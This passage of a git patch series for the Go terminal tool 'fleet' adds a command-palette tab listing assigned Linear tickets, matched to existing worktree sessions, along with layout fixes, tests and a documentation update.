ticketListTimeout bounds the fetch. It runs while the palette is already +// open and usable, so a slow answer costs the ticket rows and nothing else. +const ticketListTimeout = 12 * time.Second + +// paletteTicketsMsg carries the loaded tickets back to Update. +type paletteTicketsMsg struct { + tickets []linear.Ticket + err error +} + +// loadPaletteTickets fetches your open assigned issues. +// +// Fired when the palette opens rather than on a timer: this is the same +// event-driven, one-shot posture as every other Linear call in fleet, which is +// what keeps the status workers clear of the network entirely. +func loadPaletteTickets() tea.Cmd { + return func() tea.Msg { + ctx, cancel := context.WithTimeout(context.Background(), ticketListTimeout) + defer cancel() + tickets, err := linear.AssignedIssues(ctx, ticketListLimit) + return paletteTicketsMsg{tickets: tickets, err: err} + } +} + +// sessionsByTicket maps a ticket identifier to the session already working it. +// +// This join is the whole reason the tab is worth having: Linear can list your +// issues, but only fleet knows which ones already have a worktree and what that +// session is doing right now. +func (h *Home) sessionsByTicket(tickets []linear.Ticket) map[string]*session.Session { + if len(tickets) == 0 || len(h.sessions) == 0 { + return nil + } + // Team keys come from the tickets themselves — the prefix of an identifier + // IS its team — so this needs no repo config and works across every repo on + // screen at once. + seen := map[string]bool{} + var teams []string + for _, t := range tickets { + if i := strings.IndexByte(t.Identifier, '-'); i > 0 { + key := strings.ToUpper(t.Identifier[:i]) + if !seen[key] { + seen[key] = true + teams = append(teams, key) + } + } + } + + gitInfo := h.gitInfo() + out := map[string]*session.Session{} + for _, s := range h.sessions { + if s == nil { + continue + } + branch := "" + if info, ok := gitInfo[s.ProjectPath]; ok && info != nil { + branch = info.Branch + } + id := linear.IdentifierFromBranch(branch, teams) + if id == "" { + // The worktree directory still carries the identifier when the git + // cache is cold, same fallback branch inference uses. + id = linear.IdentifierFromBranch(pathTailAfterRepo(s.ProjectPath), teams) + } + if id == "" { + continue + } + // Prefer whichever session most wants attention, so a row never reports + // "idle" while a sibling in the same worktree is waiting on you. + if prev, ok := out[id]; !ok || ticketSessionRank(s) < ticketSessionRank(prev) { + out[id] = s + } + } + return out +} + +// ticketSessionRank orders sessions by how much they want you, lowest first. +func ticketSessionRank(s *session.Session) int { + switch s.Status { + case session.StatusWaiting: + return 0 + case session.StatusFinished: + return 1 + case session.StatusRunning: + return 2 + case session.StatusError: + return 3 + } + return 4 +} + +// ticketPaletteItems turns tickets into palette rows. +func (h *Home) ticketPaletteItems(tickets []linear.Ticket) []PaletteItem { + byTicket := h.sessionsByTicket(tickets) + + items := make([]PaletteItem, 0, len(tickets)) + for _, t := range tickets { + detail := t.StateName + if s := byTicket[t.Identifier]; s != nil { + detail = fmt.Sprintf("%s · %s", t.StateName, s.Status) + } + items = append(items, PaletteItem{ + Kind: PaletteKindTicket, + ID: t.Identifier, + Name: fmt.Sprintf("%s %s", t.Identifier, t.Title), + Detail: detail, + // The identifier and title both match, so "2644" and "storage" + // find the same row. + Haystack: t.Identifier + " " + t.Title + " " + t.StateName, + }) + } + return items +} + +// openTicketFromPalette acts on a chosen ticket. +// +// Two outcomes, and which one you get is decided by the filesystem rather than +// by a mode: if the work already exists, go to it; if it doesn't, offer to +// create it. Creating routes through the ordinary worktree dialog rather than a +// new path of its own, so the base branch and the repo are still confirmed by +// the same screen that always confirms them. +func (h *Home) openTicketFromPalette(identifier string) (tea.Model, tea.Cmd) { + var tickets []linear.Ticket + for _, it := range h.commandPalette.items { + if it.Kind == PaletteKindTicket && it.ID == identifier { + tickets = append(tickets, linear.Ticket{Identifier: it.ID}) + } + } + if s := h.sessionsByTicket(tickets)[identifier]; s != nil { + h.actionLog.Add("ticket jump", identifier, true) + return h.jumpToSessionID(s.ID) + } + + h.actionLog.Add("ticket new worktree", identifier, true) + repoPath := h.resolveWorktreeBaseRepo() + if repoPath == "" { + h.setInfo("Select a repo first, then pick the ticket") + return h, nil + } + // The identifier is handed to the dialog rather than turned into a branch + // here: the dialog already knows how to resolve one, and going through it + // means the base branch and the repo are confirmed on the same screen that + // always confirms them. + h.pendingTicketID = identifier + h.worktreeDialog.ShowLoading() + return h, tea.Batch(h.fetchWorkspaceListForRepo(repoPath), spinnerTickCmd) +} + +// jumpToSessionID moves the cursor onto a session, expanding whatever hides it. +func (h *Home) jumpToSessionID(id string) (tea.Model, tea.Cmd) { + for _, s := range h.sessions { + if s != nil && s.ID == id { + h.revealCheckout(s.ProjectPath) + break + } + } + h.rebuildFlatItems() + for i, item := range h.flatItems { + if item.Session != nil && item.Session.ID == id { + h.cursor = i + h.syncViewport() + return h, h.fetchPreviewForSelected() + } + } + h.setInfo("That session is hidden by the filter") + return h, nil +} + +// maybeLoadPaletteTickets kicks off the ticket fetch when the palette opens, +// and does nothing at all when Linear isn't connected — so a user who has never +// heard of Linear pays no round trip for pressing Ctrl+K. +func (h *Home) maybeLoadPaletteTickets() tea.Cmd { + if !linear.Available() { + return nil + } + return loadPaletteTickets() +} diff --git a/internal/ui/palette_tickets_test.go b/internal/ui/palette_tickets_test.go new file mode 100644 index 00000000..3a40e1fe --- /dev/null +++ b/internal/ui/palette_tickets_test.go @@ -0,0 +1,156 @@ +package ui + +import ( + "path/filepath" + "strings" + "testing" + + "github.com/brizzai/fleet/internal/analytics" + "github.com/brizzai/fleet/internal/config" + "github.com/brizzai/fleet/internal/git" + "github.com/brizzai/fleet/internal/linear" + "github.com/brizzai/fleet/internal/session" +) + +func ticketHome(t *testing.T) *Home { + t.Helper() + storage, err := session.Open(filepath.Join(t.TempDir(), "test.db")) + if err != nil { + t.Fatalf("open db: %v", err) + } + t.Cleanup(func() { storage.Close() }) + h := NewHome(storage, &config.Config{TickIntervalSec: 2}, "test", analytics.Identity{}) + h.width, h.height = 120, 40 + return h +} + +// TestPaletteTicketsReachThePalette is the routing guard, applied to the tab +// before the same bug can happen a third time. +// +// routeToModal carries key and paste messages only, so a tea.Cmd result reaches +// a dialog only if Home.Update forwards it. The ticket fetch is a tea.Cmd +// result; without the case, the tab would sit empty forever with every unit +// test still green. +func TestPaletteTicketsReachThePalette(t *testing.T) { + h := ticketHome(t) + h.commandPalette.ShowOnTab(h.buildPaletteItems(), nil, PaletteTabTickets) + + if h.commandPalette.TicketsLoaded() { + t.Fatal("precondition: nothing loaded yet") + } + model, _ := h.Update(paletteTicketsMsg{tickets: []linear.Ticket{ + {Identifier: "BRZ-2644", Title: "Storage optimization", StateName: "In Progress", StateType: "started"}, + {Identifier: "BRZ-3013", Title: "TS sdk spanprocessor", StateName: "Todo", StateType: "unstarted"}, + }}) + h = model.(*Home) + + if !h.commandPalette.TicketsLoaded() { + t.Fatal("Home.Update dropped the ticket reply — the tab can never fill") + } + var got []string + for _, it := range h.commandPalette.items { + if it.Kind == PaletteKindTicket { + got = append(got, it.ID) + } + } + if len(got) != 2 { + t.Fatalf("palette holds %v, want both tickets", got) + } + + // A second load must replace, not append — otherwise reopening doubles it. + model, _ = h.Update(paletteTicketsMsg{tickets: []linear.Ticket{ + {Identifier: "BRZ-2644", Title: "Storage optimization", StateName: "In Progress", StateType: "started"}, + }}) + h = model.(*Home) + count := 0 + for _, it := range h.commandPalette.items { + if it.Kind == PaletteKindTicket { + count++ + } + } + if count != 1 { + t.Errorf("second load left %d ticket rows, want 1 — rows are accumulating", count) + } +} + +// TestTicketRowsCarryTheirSession pins the join, which is the only thing this +// tab shows that Linear cannot. +func TestTicketRowsCarryTheirSession(t *testing.T) { + h := ticketHome(t) + h.sessions = []*session.Session{ + {ID: "s1", Title: "storage", ProjectPath: "/code/brizzai-brz-2644-storage", Status: session.StatusRunning}, + {ID: "s2", Title: "waiting one", ProjectPath: "/code/brizzai-brz-2996-subagents", Status: session.StatusWaiting}, + } + h.writeGitInfo(func(m map[string]*git.RepoInfo) bool { + m["/code/brizzai-brz-2644-storage"] = &git.RepoInfo{Branch: "brz-2644-storage-optimization"} + m["/code/brizzai-brz-2996-subagents"] = &git.RepoInfo{Branch: "brz-2996-subagents-drilldown"} + return true + }) + + tickets := []linear.Ticket{ + {Identifier: "BRZ-2644", Title: "Storage optimization", StateName: "In Progress", StateType: "started"}, + {Identifier: "BRZ-2996", Title: "subagents drilldown", StateName: "In Progress", StateType: "started"}, + {Identifier: "BRZ-3013", Title: "TS sdk", StateName: "Todo", StateType: "unstarted"}, + } + items := h.ticketPaletteItems(tickets) + if len(items) != 3 { + t.Fatalf("built %d rows, want 3", len(items)) + } + + byID := map[string]PaletteItem{} + for _, it := range items { + byID[it.ID] = it + } + if !strings.Contains(byID["BRZ-2644"].Detail, "running") { + t.Errorf("BRZ-2644 should report its live session, got %q", byID["BRZ-2644"].Detail) + } + if !strings.Contains(byID["BRZ-2996"].Detail, "waiting") { + t.Errorf("BRZ-2996 should report its live session, got %q", byID["BRZ-2996"].Detail) + } + // A ticket with no worktree must say only its Linear state — inventing a + // session status for it would be a lie about the machine. + if strings.Contains(byID["BRZ-3013"].Detail, "·") { + t.Errorf("BRZ-3013 has no session; detail should be the state alone, got %q", byID["BRZ-3013"].Detail) + } + + // Typing either the number or a word from the title must find the row. + if !strings.Contains(byID["BRZ-2644"].Haystack, "2644") || + !strings.Contains(strings.ToLower(byID["BRZ-2644"].Haystack), "storage") { + t.Errorf("haystack should match identifier and title: %q", byID["BRZ-2644"].Haystack) + } +} + +// TestWaitingSessionWinsTheTicketRow: several sessions can share a worktree, and +// the row must report the one that wants you, not whichever came first. +func TestWaitingSessionWinsTheTicketRow(t *testing.T) { + h := ticketHome(t) + h.sessions = []*session.Session{ + {ID: "a", ProjectPath: "/code/brizzai-brz-2644-x", Status: session.StatusIdle}, + {ID: "b", ProjectPath: "/code/brizzai-brz-2644-x", Status: session.StatusWaiting}, + {ID: "c", ProjectPath: "/code/brizzai-brz-2644-x", Status: session.StatusRunning}, + } + h.writeGitInfo(func(m map[string]*git.RepoInfo) bool { + m["/code/brizzai-brz-2644-x"] = &git.RepoInfo{Branch: "brz-2644-x"} + return true + }) + got := h.sessionsByTicket([]linear.Ticket{{Identifier: "BRZ-2644"}})["BRZ-2644"] + if got == nil || got.ID != "b" { + t.Fatalf("row picked %v, want the waiting session", got) + } +} + +// TestTicketsTabIsInertWithoutLinear: pressing the key with nothing connected +// must cost no round trip and no confusion. +func TestTicketsTabIsInertWithoutLinear(t *testing.T) { + // Explicit rather than inherited: a developer with a key exported in their + // shell would otherwise skip this and never learn it broke. + t.Setenv(linear.APIKeyEnvVar, "") + + h := ticketHome(t) + if linear.Available() { + t.Fatal("precondition: no credential should resolve with the env cleared and nothing warmed") + } + if cmd := h.maybeLoadPaletteTickets(); cmd != nil { + t.Error("an unconnected fleet must not spend a request on Ctrl+K") + } +} diff --git a/internal/ui/workspace_picker_ticket.go b/internal/ui/workspace_picker_ticket.go index 26d5d16a..b1e69c66 100644 --- a/internal/ui/workspace_picker_ticket.go +++ b/internal/ui/workspace_picker_ticket.go @@ -233,6 +233,22 @@ func (d *WorktreeDialog) workspaceMismatchNote() (string, bool) { return fmt.Sprintf("%s has no %s team — reconnect: Ctrl+K", name, strings.Join(d.linearTeams, "/")), true } +// PrefillTicket seeds the New branch field with an identifier and starts its +// lookup, for a ticket chosen somewhere else (the palette's tickets tab). +// +// It goes through the same debounce and generation guard as typing, so the +// resolved title arrives by exactly the path a typed identifier would — there +// is no second way for a ticket to become a branch name. +func (d *WorktreeDialog) PrefillTicket(identifier string) tea.Cmd { + if identifier == "" || !d.visible { + return nil + } + d.newBranchInput.SetValue(identifier) + d.newBranchInput.SetCursor(len([]rune(identifier))) + d.setSelection(focusNewBranch, ticketOnInput) + return d.onFieldChanged(identifier) +} + // pickTicket fills the field from a highlighted row and collapses back to the // resolved state, so both ways of naming a ticket end up identical. func (d *WorktreeDialog) pickTicket(t linear.Ticket) { From 3d9e5d84918f17ec4956cf12623f40d1d4ecafe5 Mon Sep 17 00:00:00 2001 From: Yuval Hayke Date: Tue, 18 Aug 2026 18:12:24 +0300 Subject: [PATCH 11/23] feat(ui): group the tickets tab and show what's already in fleet MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Four things the first cut got wrong, all visible the moment it had real data in it. Every ticket row was badged "cmd", because renderKindBadge had no case for the new kind. The badge column now answers the question that actually matters on a ticket row — is this already in fleet? — using the sidebar's own dot and colour, so a status means the same thing in both places. A ticket with no worktree is blank rather than dimly marked: absence should read as absence at a glance down the column. Colour thus means session status and only that, which is why the group headers stay monochrome — the same discipline that keeps agent glyphs shape-only. Titles truncated to "Storage opt…" because the name column was capped at 22 runes regardless of terminal width while the right half sat empty. The column is now budgeted against the widest right-hand column actually present, and the dialog itself widens to 96. Rows are grouped under their Linear state with a count, so the state is not repeated on every row. Typing drops the headers and folds the state back onto the row, since nothing else would carry it then. The search line drew "> >": the dialog renders its own prompt and the text input was drawing a second. Also fixes the fuzzy highlight for tickets, which lit up the wrong characters — the renderer maps matched haystack indexes back onto Name and Detail by offset, so the haystack has to be exactly those two strings joined. Co-Authored-By: Claude Opus 5 Claude-Session: https://claude.ai/code/session_01WBQUYTfR7kzUjgozd58mr6 --- CLAUDE.md | 2 +- internal/ui/command_palette.go | 156 +++++++++++++++++++++++++--- internal/ui/palette_tickets.go | 29 ++++-- internal/ui/palette_tickets_test.go | 85 +++++++++++++++ internal/ui/styles.go | 10 ++ 5 files changed, 257 insertions(+), 25 deletions(-) diff --git a/CLAUDE.md b/CLAUDE.md index b8c4c3b2..3ba7c66c 100644 --- a/CLAUDE.md +++ b/CLAUDE.md @@ -154,7 +154,7 @@ chrome-extension/ # Chrome MV3 extension (service worker, manifes - Lookups are **debounced (250ms) and generation-guarded**, never per keystroke. Without the generation counter, typing `BRZ-3182` then editing to `BRZ-3184` lets the slower first reply overwrite the field with the wrong ticket's branch name, which then becomes a real git branch (`TestWorktreeStaleTicketReplyIgnored`). The counter is **monotonic and never reset to 0**, unlike `ConfirmDialog.scanGen` — that one lives on `Home` and never recycles; a per-dialog counter reset to zero would let a reply from a previous open match a new one. `d.loading` is deliberately not used for ticket lookups: it swallows every key but `esc`. - Degradation is structural: no credential, no team, rejected key, offline, unknown id, or nothing matching — every case leaves Enter working and the dialog usable (`TestWorktreeEnterAlwaysCreates`). `ErrNotConnected` is the resting state for everyone who never connected and is **never surfaced as an error**; `ErrNotAuthenticated` is, because it names a thing to fix. Persistent failures latch (`ticketsOff`) so a broken credential isn't re-spent on every pause. Once the worktree exists nothing may fail the caller: `Materialize` sits beside `copyClaudeSettingsFile` and `CopyConfiguredFiles` and shares their posture, and a failed fetch costs the prompt, never the session. - Connect dialog (`internal/ui/connect_linear.go`): a two-row method chooser, then a browser round trip or a **masked** input. A pasted key is **verified before it is stored** (one `viewer`/`organization`/`teams` query), so "connected" is a fact rather than a hope and a typo is caught while the user is still looking at the field they typed it into. It then names the workspace's team keys and shows the exact `.fleet.local.json` line that turns a repo on — the per-repo step is the one people miss, and `.local` is the right file because team membership is personal and `.fleet.json` is committed. Discovery is a `tipOnce` firing when a session's branch matches the generic `-` shape **and** nothing is connected — deliberately *not* `IdentifierFromBranch`, which is gated on team keys nobody has configured yet at the moment the tip should fire; a false positive costs one dismissible hint, since the tip only offers and never fetches. -- **My tickets is a tab in the command palette, not a new dialog** (`internal/ui/palette_tickets.go`; `t` opens straight onto it, `Ctrl+K` reaches it by cycling). The palette already had tabs (`paletteTabOrder`, `cycleTab`), so this is the existing surface rather than a fourth full-screen view — and typing narrows 50 rows, which is why the whole open assigned list is fine here where it would be noise in a static list. **The rows carry the join, which is the only thing this shows that Linear cannot**: which tickets already have a worktree and what that session is doing. Team keys are derived from the identifiers themselves (the prefix *is* the team), so it needs no repo config and spans every repo on screen. When several sessions share a worktree the row reports the one that most wants you (`ticketSessionRank`), never whichever came first. Enter jumps to the session if one exists, else opens the ordinary `w` dialog with the identifier prefilled (`PrefillTicket`, `pendingTicketID` consumed exactly once) — so the repo and base branch are still confirmed on the screen that always confirms them, and a ticket becomes a branch name by only one code path. Ordering is by state **type** then **position**: type survives a team renaming its states, and position is what puts *In Progress* above *In Review*. Fetched when the palette opens and never polled; `Ctrl+K` costs nothing at all when Linear isn't connected. +- **My tickets is a tab in the command palette, not a new dialog** (`internal/ui/palette_tickets.go`; `t` opens straight onto it, `Ctrl+K` reaches it by cycling). The palette already had tabs (`paletteTabOrder`, `cycleTab`), so this is the existing surface rather than a fourth full-screen view — and typing narrows 50 rows, which is why the whole open assigned list is fine here where it would be noise in a static list. **The rows carry the join, which is the only thing this shows that Linear cannot**: which tickets already have a worktree and what that session is doing. Team keys are derived from the identifiers themselves (the prefix *is* the team), so it needs no repo config and spans every repo on screen. When several sessions share a worktree the row reports the one that most wants you (`ticketSessionRank`), never whichever came first. Enter jumps to the session if one exists, else opens the ordinary `w` dialog with the identifier prefilled (`PrefillTicket`, `pendingTicketID` consumed exactly once) — so the repo and base branch are still confirmed on the screen that always confirms them, and a ticket becomes a branch name by only one code path. Ordering is by state **type** then **position**: type survives a team renaming its states, and position is what puts *In Progress* above *In Review*. Rows are **grouped under the state with a count** when nothing is typed, so the state is never repeated on every row; typing drops the headers and folds the state back onto the row, since nothing else would carry it. The badge column answers *is this in fleet* using the sidebar's own dot and colour, and a ticket with no worktree is **blank** rather than dimly marked — absence should read as absence down the column. Colour therefore means session status and only that, the same discipline that keeps agent glyphs monochrome. `Haystack` must be exactly `Name + " " + `: the renderer maps matched indexes back onto those two strings by offset, so composing it any other way highlights the wrong characters. The palette's name column is now budgeted against the widest *right* column rather than a fixed 22-rune cap, which was truncating titles to `Storage opt…` on a terminal with room to spare. Fetched when the palette opens and never polled; `Ctrl+K` costs nothing at all when Linear isn't connected. - `fleet worktree --ticket ` (`-t`) mirrors the TUI and names the branch when no branch is given. **Conflicts with `-p`** — both set the first message and say opposite things — but is **allowed with `--no-session`**, unlike `-p`: a promptless session is meaningless, a materialized git-excluded ticket directory is not. A bad identifier fails *before* anything is created, the same line `-p -` draws. - Git info refreshes every 2s (branch/dirty), PR info every 60s via `gh` CLI - PR badge: green ✓ (approved+CI passed), yellow (pending), red ✕ (CI fail) / ↩ (changes requested or unresolved threads), purple ⇡ (merged), gray ◌ (draft; ✕ appended on CI fail), hidden (closed) diff --git a/internal/ui/command_palette.go b/internal/ui/command_palette.go index bb88f718..c763e218 100644 --- a/internal/ui/command_palette.go +++ b/internal/ui/command_palette.go @@ -10,6 +10,8 @@ import ( tea "charm.land/bubbletea/v2" "charm.land/lipgloss/v2" "github.com/sahilm/fuzzy" + + "github.com/brizzai/fleet/internal/session" ) // sortRecents orders the recents slice by the rank map (lower rank = more recent). @@ -43,6 +45,18 @@ type PaletteItem struct { Detail string // dim right-side detail (branch for places, empty for commands) Shortcut string // right-aligned keybinding hint (commands only) Haystack string // string used for fuzzy matching + + // Group is a section header this row sits under when nothing is typed + // (ticket rows only — their Linear state). Empty means no section. + Group string + + // SessionStatus is the status of the fleet session already working this + // row, and HasSession says whether there is one at all. They are separate + // because a zero Status is a real status, and "no session" has to be + // distinguishable from it — that distinction is the whole point of the + // badge column for tickets: is this in fleet, or not. + SessionStatus session.Status + HasSession bool } // PaletteTab restricts which kinds of items show in the palette. @@ -76,6 +90,7 @@ type CommandPaletteDialog struct { scrollOff int activeTab PaletteTab filterInput textinput.Model + sectionCounts map[string]int // ticketsLoaded distinguishes an empty ticket tab that is still fetching // from one that genuinely has nothing — the difference between "wait" and @@ -86,8 +101,9 @@ type CommandPaletteDialog struct { type scoredItem struct { PaletteItem score int - matchedIndexes []int // rune positions in Haystack — used to highlight matched chars in Name - recent bool // true when this row is sitting in the "recent" section + matchedIndexes []int // rune positions in Haystack — used to highlight matched chars in Name + recent bool // true when this row is sitting in the "recent" section + section string // group header this row falls under; "" for none } const paletteMaxVisible = 14 @@ -95,7 +111,10 @@ const paletteMaxVisible = 14 // NewCommandPaletteDialog creates a new command palette dialog. func NewCommandPaletteDialog() *CommandPaletteDialog { fi := textinput.New() - fi.Placeholder = "search commands, repos, worktrees..." + fi.Placeholder = "search commands, repos, worktrees, tickets..." + // The dialog draws its own dim prompt, so the input must not draw a second + // one — that is what rendered as "> >". + fi.Prompt = "" fi.CharLimit = 64 fi.SetWidth(40) @@ -228,17 +247,35 @@ func (d *CommandPaletteDialog) rebuildFiltered() { if _, ok := recentRank[it.ID]; ok { recents = append(recents, scoredItem{PaletteItem: it, recent: true}) } else { - rest = append(rest, scoredItem{PaletteItem: it}) + // Sections only when nothing is typed. Grouping a fuzzy result + // is noise: the matches are already ordered by score, and + // headers would fragment ten rows into six sections. + rest = append(rest, scoredItem{PaletteItem: it, section: it.Group}) } } sortRecents(recents, recentRank) d.filtered = append(d.filtered, recents...) d.filtered = append(d.filtered, rest...) + + d.sectionCounts = map[string]int{} + for _, it := range rest { + if it.section != "" { + d.sectionCounts[it.section]++ + } + } } else { + // Filtering drops the headers, so the state has to come back onto the + // row — otherwise a searched ticket loses the one fact the header was + // carrying for it. + d.sectionCounts = nil matches := fuzzy.Find(query, haystacks) for _, m := range matches { + it := tabItems[m.Index] + if it.Group != "" { + it.Detail = joinDetail(it.Group, it.Detail) + } d.filtered = append(d.filtered, scoredItem{ - PaletteItem: tabItems[m.Index], + PaletteItem: it, score: m.Score, matchedIndexes: m.MatchedIndexes, }) @@ -352,17 +389,33 @@ func (d *CommandPaletteDialog) View() string { // Column layout: [prefix 2][badge 4][sep 1][name N][gap 2][right] const reserved = 2 + paletteBadgeWidth + 1 + 2 - const maxNameCap = 22 + // Measure BOTH columns and give the name whatever the right column + // genuinely needs left over, rather than capping it at a constant. A + // fixed cap truncated ticket titles to "Storage opt…" on a wide + // terminal while the right half sat empty. + rightCol := 0 nameCol := 0 for i := d.scrollOff; i < end; i++ { - n := runeLen(d.filtered[i].Name) - if n > nameCol { + it := d.filtered[i] + if n := runeLen(it.Name); n > nameCol { nameCol = n } + r := runeLen(it.Detail) + if it.Shortcut != "" { + r += runeLen(it.Shortcut) + 1 + } + if r > rightCol { + rightCol = r + } + } + // Never let the right column take more than half; a single verbose + // detail must not squeeze every name on screen. + if half := d.innerContentWidth() / 2; rightCol > half { + rightCol = half } - if nameCol > maxNameCap { - nameCol = maxNameCap + if avail := d.innerContentWidth() - reserved - rightCol; nameCol > avail { + nameCol = avail } rightBudget := d.innerContentWidth() - reserved - nameCol @@ -371,6 +424,13 @@ func (d *CommandPaletteDialog) View() string { } prevRecent := false + prevSection := "" + if d.scrollOff > 0 { + // Scrolled into the middle of a section: carry its name forward so + // the first visible row does not re-print a header it is under. + prevSection = d.filtered[d.scrollOff-1].section + prevRecent = d.filtered[d.scrollOff-1].recent + } for i := d.scrollOff; i < end; i++ { it := d.filtered[i] selected := i == d.cursor @@ -385,12 +445,30 @@ func (d *CommandPaletteDialog) View() string { } prevRecent = it.recent + if it.section != "" && it.section != prevSection { + if i > d.scrollOff || d.scrollOff == 0 { + if prevSection != "" { + b.WriteString("\n") // breathe between groups + } + } + head := it.section + if n := d.sectionCounts[it.section]; n > 0 { + head += " " + fmt.Sprint(n) + } + b.WriteString(" " + PaletteSectionStyle.Render(head)) + b.WriteString("\n") + } + prevSection = it.section + prefix := " " if selected { prefix = SessionSelectionPrefix.Render("▸ ") } badge := renderKindBadge(it.Kind) + if it.Kind == PaletteKindTicket { + badge = renderTicketBadge(it.PaletteItem) + } // Haystack is `Name + " " + Detail` (for places) or just `Name` (commands). // Map matched haystack indexes back to the Name and Detail substrings. @@ -497,6 +575,47 @@ func renderKindBadge(k PaletteItemKind) string { return lipgloss.NewStyle().Foreground(col).Render(label) } +// renderTicketBadge answers "is this already in fleet?" in the badge column. +// +// A ticket row's most useful fact is not that it is a ticket — the whole tab is +// tickets — but whether work on it already exists here, and what that work is +// doing. So the column carries the sidebar's own status vocabulary, and a +// ticket with no worktree is deliberately BLANK rather than dimly marked: +// absence should read as absence at a glance down the column. +func renderTicketBadge(it PaletteItem) string { + if !it.HasSession { + return strings.Repeat(" ", paletteBadgeWidth) + } + glyph, style := sessionBadgeGlyph(it.SessionStatus) + return style.Render(pad(glyph, paletteBadgeWidth)) +} + +// sessionBadgeGlyph maps a session status onto the same dot and colour the +// sidebar uses, so a status means the same thing everywhere in fleet. +func sessionBadgeGlyph(st session.Status) (string, lipgloss.Style) { + switch st { + case session.StatusError: + return "✕", StatusErrorStyle + case session.StatusWaiting: + return "◐", StatusWaitingStyle + case session.StatusRunning, session.StatusStarting: + return "●", StatusRunningStyle + case session.StatusFinished: + return "●", StatusFinishedStyle + case session.StatusSuspended: + return "·", StatusSuspendedStyle + } + return "○", DimStyle +} + +// pad right-pads to a rune width. +func pad(s string, w int) string { + if n := runeLen(s); n < w { + return s + strings.Repeat(" ", w-n) + } + return s +} + func truncRunes(s string, maxRunes int) string { if maxRunes <= 0 { return "" @@ -513,10 +632,21 @@ func truncRunes(s string, maxRunes int) string { func runeLen(s string) int { return len([]rune(s)) } +// joinDetail combines a group label with a row detail for the filtered view, +// where there are no headers to carry the group. +func joinDetail(group, detail string) string { + if detail == "" { + return group + } + return group + " · " + detail +} + func (d *CommandPaletteDialog) dialogWidth() int { - w := d.width - 4 - if w > 64 { - w = 64 + w := d.width - 8 + // Wide enough that a ticket title is readable rather than an ellipsis, and + // still an overlay rather than a takeover. + if w > 96 { + w = 96 } if w < 30 { w = 30 diff --git a/internal/ui/palette_tickets.go b/internal/ui/palette_tickets.go index 4d4cb46b..e603a183 100644 --- a/internal/ui/palette_tickets.go +++ b/internal/ui/palette_tickets.go @@ -113,19 +113,26 @@ func (h *Home) ticketPaletteItems(tickets []linear.Ticket) []PaletteItem { items := make([]PaletteItem, 0, len(tickets)) for _, t := range tickets { - detail := t.StateName + it := PaletteItem{ + Kind: PaletteKindTicket, + ID: t.Identifier, + Name: fmt.Sprintf("%s %s", t.Identifier, t.Title), + // The Linear state is the group header, so it is deliberately NOT + // repeated on every row. The right column carries what fleet knows + // instead — and stays empty when there is nothing to say. + Group: t.StateName, + // Haystack must be exactly Name + " " + , because the + // renderer maps matched haystack indexes back onto those two + // strings by offset. Composing it any other way lights up the + // wrong characters. + Haystack: fmt.Sprintf("%s %s %s", t.Identifier, t.Title, t.StateName), + } if s := byTicket[t.Identifier]; s != nil { - detail = fmt.Sprintf("%s · %s", t.StateName, s.Status) + it.HasSession = true + it.SessionStatus = s.Status + it.Detail = string(s.Status) } - items = append(items, PaletteItem{ - Kind: PaletteKindTicket, - ID: t.Identifier, - Name: fmt.Sprintf("%s %s", t.Identifier, t.Title), - Detail: detail, - // The identifier and title both match, so "2644" and "storage" - // find the same row. - Haystack: t.Identifier + " " + t.Title + " " + t.StateName, - }) + items = append(items, it) } return items } diff --git a/internal/ui/palette_tickets_test.go b/internal/ui/palette_tickets_test.go index 3a40e1fe..0205db8c 100644 --- a/internal/ui/palette_tickets_test.go +++ b/internal/ui/palette_tickets_test.go @@ -5,6 +5,8 @@ import ( "strings" "testing" + "github.com/charmbracelet/x/ansi" + "github.com/brizzai/fleet/internal/analytics" "github.com/brizzai/fleet/internal/config" "github.com/brizzai/fleet/internal/git" @@ -154,3 +156,86 @@ func TestTicketsTabIsInertWithoutLinear(t *testing.T) { t.Error("an unconnected fleet must not spend a request on Ctrl+K") } } + +// renderedPalette returns the palette's view with ANSI stripped, for asserting +// on layout rather than styling. +func renderedPalette(t *testing.T, h *Home) string { + t.Helper() + return ansi.Strip(h.commandPalette.View()) +} + +// TestTicketTabLayout pins what the tab actually looks like: grouped by Linear +// state with counts, the state NOT repeated on every row, and fleet presence +// carried in the badge column. +func TestTicketTabLayout(t *testing.T) { + h := ticketHome(t) + h.sessions = []*session.Session{ + {ID: "a", ProjectPath: "/c/brizzai-brz-2644-x", Status: session.StatusRunning}, + } + h.writeGitInfo(func(m map[string]*git.RepoInfo) bool { + m["/c/brizzai-brz-2644-x"] = &git.RepoInfo{Branch: "brz-2644-x"} + return true + }) + tickets := []linear.Ticket{ + {Identifier: "BRZ-2644", Title: "Storage optimization", StateName: "In Progress", StateType: "started"}, + {Identifier: "BRZ-3142", Title: "BYOCH backfill", StateName: "Todo", StateType: "unstarted"}, + {Identifier: "BRZ-2732", Title: "audit feature flags", StateName: "Todo", StateType: "unstarted"}, + } + h.commandPalette.SetSize(120, 40) + h.commandPalette.ShowOnTab(h.buildPaletteItems(), nil, PaletteTabTickets) + h.commandPalette.SetTickets(h.ticketPaletteItems(tickets)) + + got := renderedPalette(t, h) + + // Grouped, with counts. + for _, want := range []string{"In Progress 1", "Todo 2"} { + if !strings.Contains(got, want) { + t.Errorf("missing group header %q:\n%s", want, got) + } + } + // The header carries the state, so the row must not repeat it. + if strings.Count(got, "In Progress") != 1 { + t.Errorf("the Linear state should appear once, as a header, not on every row:\n%s", got) + } + // Fleet presence: the session's status is on the row that has one. + if !strings.Contains(got, "running") { + t.Errorf("a ticket with a live session must say so:\n%s", got) + } + // A ticket row must never be badged "cmd" — the badge column is where + // "is this in fleet" lives. + for _, line := range strings.Split(got, "\n") { + if strings.Contains(line, "BRZ-") && strings.Contains(line, "cmd") { + t.Errorf("ticket row carries a cmd badge: %q", line) + } + } + // Titles must not be truncated to nothing on a wide terminal. + if !strings.Contains(got, "Storage optimization") { + t.Errorf("title was truncated despite the width being available:\n%s", got) + } + // One prompt marker, not two. + if strings.Contains(got, "> >") { + t.Errorf("the input is drawing a second prompt:\n%s", got) + } +} + +// TestFilteredTicketsKeepTheirState: with no headers, the state has to come +// back onto the row or a searched ticket loses it entirely. +func TestFilteredTicketsKeepTheirState(t *testing.T) { + h := ticketHome(t) + h.commandPalette.SetSize(120, 40) + h.commandPalette.ShowOnTab(h.buildPaletteItems(), nil, PaletteTabTickets) + h.commandPalette.SetTickets(h.ticketPaletteItems([]linear.Ticket{ + {Identifier: "BRZ-2644", Title: "Storage optimization", StateName: "In Progress", StateType: "started"}, + })) + + h.commandPalette.filterInput.SetValue("storage") + 